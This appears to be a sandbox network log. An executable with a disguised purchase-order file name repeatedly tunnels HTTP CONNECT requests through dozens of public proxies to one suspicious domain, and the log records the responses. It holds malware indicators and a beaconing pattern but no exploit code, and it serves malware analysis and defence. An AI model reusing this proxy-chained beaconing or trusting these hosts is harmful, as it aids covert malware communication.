Mar 11, 2024 16:42:23.772330046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1102	192.168.2.11	53583	60.190.68.154	7302	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.779972076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.117449999 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1103	192.168.2.11	53594	47.74.152.29	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.794698954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.688688040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.876619101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.986219883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.188942909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1104	192.168.2.11	53479	106.105.218.244	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.812433958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.688786983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1105	192.168.2.11	53603	45.11.95.166	6004	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.812599897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.688688040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.876616001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.986258030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.376259089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.689292908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.985591888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:49.469887972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:06.469744921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1106	192.168.2.11	53593	103.83.232.122	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.822226048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1107	192.168.2.11	53551	202.166.219.80	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.850613117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.735677004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1108	192.168.2.11	53697	104.24.15.158	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.851228952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.005779028 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1109	192.168.2.11	53638	39.105.27.30	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.877914906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.205532074 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1110	192.168.2.11	53710	192.163.201.131	8896	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.914128065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.438685894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.032905102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.142283916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.345354080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.642005920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.867547035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.267395020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.081497908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1111	192.168.2.11	53665	31.134.151.40	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.915925026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1112	192.168.2.11	53618	114.132.202.78	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.919039965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.470413923 CET	84	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:24 GMT Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1113	192.168.2.11	52929	161.97.163.52	18693	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.919327021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.991687059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.142074108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.142294884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:48.141598940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1114	192.168.2.11	53669	192.162.232.15	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.923837900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1115	192.168.2.11	53675	3.37.125.76	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.924046993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.240770102 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:24 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1116	192.168.2.11	53689	47.56.110.204	8989	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.952204943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1117	192.168.2.11	53732	172.64.207.185	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.952944994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.114056110 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1118	192.168.2.11	53747	104.18.251.208	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.954222918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.109203100 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1119	192.168.2.11	53748	104.19.109.209	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.954260111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.109281063 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1120	192.168.2.11	53688	106.14.255.124	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.954442978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1121	192.168.2.11	53701	184.185.2.12	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.966264963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1122	192.168.2.11	53687	143.64.8.21	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.974915028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1123	192.168.2.11	52899	223.112.53.2	1025	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.980494022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:48.336998940 CET	34	IN	HTTP/1.1 503 Service Unavailable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1124	192.168.2.11	52973	85.239.121.168	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.044178009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1125	192.168.2.11	52942	61.110.5.2	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.044389009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
